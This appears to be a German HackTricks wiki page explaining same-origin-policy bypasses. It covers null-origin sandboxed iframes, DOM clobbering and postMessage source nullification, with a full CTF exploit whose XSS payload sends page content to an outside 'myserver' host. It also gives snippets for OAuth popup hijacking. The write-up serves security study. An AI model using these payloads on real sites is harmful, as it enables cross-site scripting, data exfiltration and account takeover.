Bypassing SOP with Iframes - 2

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Iframes in SOP-2

In der solution für diese challenge @Strellic_ schlägt eine ähnliche Methode wie im vorherigen Abschnitt vor. Schauen wir sie uns an.

In dieser Challenge muss der Angreifer dies bypass:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

Wenn er das tut, kann er eine postmessage mit HTML-Inhalt senden, die ohne Sanitation mit innerHTML in die Seite geschrieben wird (XSS).

Der Weg, die erste Prüfung zu umgehen, besteht darin, window.calc.contentWindow auf undefined und e.source auf null zu bringen:

  • window.calc.contentWindow ist tatsächlich document.getElementById("calc"). Du kannst document.getElementById mit <img name=getElementById /> clobbern (beachte, dass Sanitizer API -here- in ihrem Standardzustand nicht konfiguriert ist, um gegen DOM clobbering-Angriffe zu schützen).
  • Deshalb kannst du document.getElementById("calc") mit <img name=getElementById /><div id=calc></div> clobbern. Dann wird window.calc undefined sein.
  • Nun brauchen wir, dass e.source undefined oder null ist (weil == statt === verwendet wird, ist null == undefined True). Das zu erreichen ist “einfach”. Wenn du ein iframe erstellst und daraus eine postMessage sendest und das iframe sofort entfernst, wird e.origin null sein. Schau dir den folgenden Code an
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null

Um die zweite Prüfung bezüglich des Tokens zu umgehen, sendet man token mit dem Wert null und sorgt dafür, dass window.token den Wert undefined annimmt:

  • Das Senden von token in der postMessage mit dem Wert null ist trivial.
  • window.token wird beim Aufruf der Funktion getCookie ermittelt, die document.cookie nutzt. Beachte, dass jeder Zugriff auf document.cookie in Seiten mit null Origin einen Fehler auslöst. Dadurch wird window.token den Wert undefined haben.

Die endgültige Lösung von @terjanq ist die folgende:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)

function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr)

function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>

2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)

Eine kürzliche TryHackMe-Aufgabe (“Vulnerable Codes”) demonstriert, wie OAuth popups gehijackt werden können, wenn der opener in einem sandboxed iframe lebt, das nur scripts und popups erlaubt. Das iframe zwingt sowohl sich selbst als auch das popup in eine “null” origin, sodass Handler, die if (origin !== window.origin) return prüfen, stillschweigend fehlschlagen, weil window.origin im popup ebenfalls “null” ist. Obwohl der Browser weiterhin das echte location.origin offenlegt, prüft das victim es nie, sodass attacker-controlled messages ungehindert durchrutschen.

const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);

Wesentliche Erkenntnisse zum Missbrauch dieses Setups:

  • Handler, die origin mit window.origin innerhalb des Popups vergleichen, lassen sich umgehen, weil beide zu "null" ausgewertet werden; gefälschte Nachrichten wirken dadurch legitim.
  • Sandboxed iframes, die allow-popups gewähren, aber allow-same-origin weglassen, erzeugen weiterhin Popups, die an die vom Angreifer kontrollierte null origin gebunden sind und so eine stabile Enklave bieten — selbst in 2025 Chromium-Builds.

Source-nullification & frame-restriction bypasses

Branchen-Writeups zu CVE-2024-49038 heben zwei wiederverwendbare Primitive für diese Seite hervor: (1) du kannst weiterhin mit Seiten interagieren, die X-Frame-Options: DENY setzen, indem du sie via window.open öffnest und Nachrichten postest, sobald die Navigation abgeschlossen ist, und (2) du kannst event.source == victimFrame-Prüfungen per brute-force umgehen, indem du das iframe unmittelbar nach dem Senden einer Nachricht entfernst, sodass der Empfänger im Handler nur null sieht.

const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);

Kombiniere dies mit dem oben genannten DOM-clobbering trick: sobald der Empfänger nur event.source === null sieht, bricht jeder Vergleich mit window.calc.contentWindow oder ähnlichem zusammen, sodass du wieder malicious HTML sinks über innerHTML einschleusen kannst.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks